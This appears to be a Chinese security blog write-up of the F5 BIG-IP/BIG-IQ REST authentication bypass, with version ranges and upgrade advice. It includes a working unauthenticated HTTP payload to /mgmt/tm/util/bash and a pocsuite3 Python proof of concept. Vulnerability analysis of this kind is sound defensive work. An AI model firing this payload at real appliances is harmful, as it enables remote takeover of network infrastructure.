前言
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。
近日,F5发布了F5 BIG-IQ/F5 BIG-IP 代码执行,代码执行的风险声明,F5安全公告更新了BIG-IP,BIG-IQ中的多个严重漏洞。建议广大用户及时将f5 big-iq,f5 big-ip升级到最新版本,避免遭到攻击。
受影响系统
BIG-IP (全部模块) v15.1.0-15.1.2
BIG-IP (全部模块) v14.1.0-14.1.3.1
BIG-IP (全部模块) v13.1.0-13.1.3.5
BIG-IP (全部模块) v12.1.0-12.1.5.2
BIG-IQ v7.1.0-7.1.0.2
BIG-IQ v7.0.0-7.0.0.1
BIG-IQ v6.0.0-6.1.0
漏洞详情
通过最近的资料得知,该漏洞利用到了两个认证绕过
然后通过了认证的请求就用了管理员权限,可以访问REST API,通过文档发现可以通过POST请求到/mgmt/tm/util/bash
地址来执行指令,所以我们绕过认证以后就可以通过这个接口进行远程代码执行。
第一个可利用点
X-F5-Auth-Token
后端查找请求头中是否有X-F5-Auth-Token, 有的话将直接发送给jetty并进行后续认证,没有的话最终会查找Authorization和其他HTTP的header,下面实际测试一下,用到的测试版本是BIGIP-16.0.0
不携带X-F5-Auth-Token请求头:
可以看到这个401是由apache返回的
携带空X-F5-Auth-Token请求头:
此处看到401是有Jetty返回
然后继续携带错误的Authorization和空X-F5-Auth-Token进行测试:
依然是由Jetty返回
所以,可以看出如果HTTP请求头中携带了X-F5-Auth-Token,不论是否正确,都可以绕过Authorization的检测
接下来就是要绕过Jetty的认证
第二个可利用点
以下内容通过斗象文章得知
在f5.rest.workers.authz.AuthzHelper.class,此函数将Authorization的header解码并返回:
public static BasicAuthComponents decodeBasicAuth(String encodedValue) {
BasicAuthComponents components = new BasicAuthComponents();
if (encodedValue == null) {
return components;
}
String decodedBasicAuth = new String(DatatypeConverter.parseBase64Binary(encodedValue));
int idx = decodedBasicAuth.indexOf(':');
if (idx > 0) {
components.userName = decodedBasicAuth.substring(0, idx);
if (idx + 1 < decodedBasicAuth.length())
{
components.password = decodedBasicAuth.substring(idx + 1);
}
}
return components;
}
此函数位于f5.rest.common.RestOperationIdentifier.class,通过basicAuth来设置identityData:
private static boolean setIdentityFromBasicAuth(RestOperation request) {
String authHeader = request.getBasicAuthorization();
if (authHeader == null) {
return false;
}
AuthzHelper.BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
request.setIdentityData(components.userName, null, null);
return true;
}
}
public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {
if (userName == null && !RestReference.isNullOrEmpty(userReference)) {
String segment = UrlHelper.getLastPathSegment(userReference.link);
if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment }))))
{
userName = segment;
}
}
if (userName != null && RestReference.isNullOrEmpty(userReference)) {
userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName })));
}
this.identityData = new IdentityData();
this.identityData.userName = userName;
this.identityData.userReference = userReference;
this.identityData.groupReferences = groupReferences;
return this;
}
request.setIdentityData(components.userName, null, null);
之后request就拥有了下面的属性
identityData.userName = 'admin';
identityData.userReference = 'http://localhost/mgmt/shared/authz/users/admin'
identityData.groupReference = null;
因为REST服务器默认Basic Authorization数据已经由Apache进行认证所以不需要重新验证账户密码,所以在给identityData赋值时直接是根据用户名的。
所以我们将Authorization的值置为用户名即可绕过认证,获得一个拥有权限的请求
漏洞复现
结合以上,我们可以设置一个X-F5-Auth-Token为空、Authorization为用户名的header,请求文章开头提到的可以执行命令的接口,从而完成远程命令执行
payload如下:
POST /mgmt/tm/util/bash HTTP/1.1
Host: 192.168.10.148
Content-Type: application/json
X-F5-Auth-Token:
Authorization: Basic YWRtaW46
Content-Length: 47
{
"command":"run",
"utilCmdArgs":"-c id"
}
至此漏洞复现完成
修复建议
升级到最新版本
安全版本:
BIG-IP v16.0.1.1
BIG-IP v15.1.2.1
BIG-IP v14.1.4
BIG-IP v13.1.3.6
BIG-IP v12.1.5.3
BIG-IQ v8.0.0
BIG-IQ v7.1.0.3
BIG-IQ v7.0.0.2
POC
# -*- coding: utf-8 -*-
__version_ = 'python 3.7'
__author__ = 'JsOnGmAX'
__date__ = '2021/3/19 15:14'
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE
import json
class TestPOC(POCBase):
vulID = 'JsOnGmAX'
version = 'v1'
author = ['JsOnGmAX']
vulDate = '2021-03-10'
createDate = '2021-03-10'
updateDate = '2020-03-18'
references = ['https://support.f5.com/csp/article/K02566623']
name = 'BIG-IP代码执行漏洞'
appPowerLink = ''
appName = 'F5 BIG-IQ/F5 BIG-IP'
appVersion = '''
BIG-IP v16.0.0-16.0.1
BIG-IP v15.1.0-15.1.2
BIG-IP v14.1.0-14.1.3.1
BIG-IP v13.1.0-13.1.3.5
BIG-IP v12.1.0-12.1.5.2
BIG-IQ v7.1.0-7.1.0.2
BIG-IQ v7.0.0-7.0.0.1
BIG-IQ v6.0.0-6.1.0
'''
vulType = VUL_TYPE.CODE_EXECUTION
desc = ''''''
def _verify(self):
result = {}
self._headers = {
'X-F5-Auth-Token': '',
'Authorization': 'Basic YWRtaW46',
"Content-Type": "application/json"
}
self.url = self.url.strip("/")
self.vuln_url = self.url + '/mgmt/tm/util/bash'
self.data = {
"command":"run",
"utilCmdArgs":"-c id"
}
res = requests.post(url=self.vuln_url, headers=self._headers, data=json.dumps(self.data), verify=False)
logger.info(res.status_code)
if "commandResult" in res.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
logger.info("存在漏洞")
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(TestPOC)
1 条评论
叼茂SEO.bfbikes.com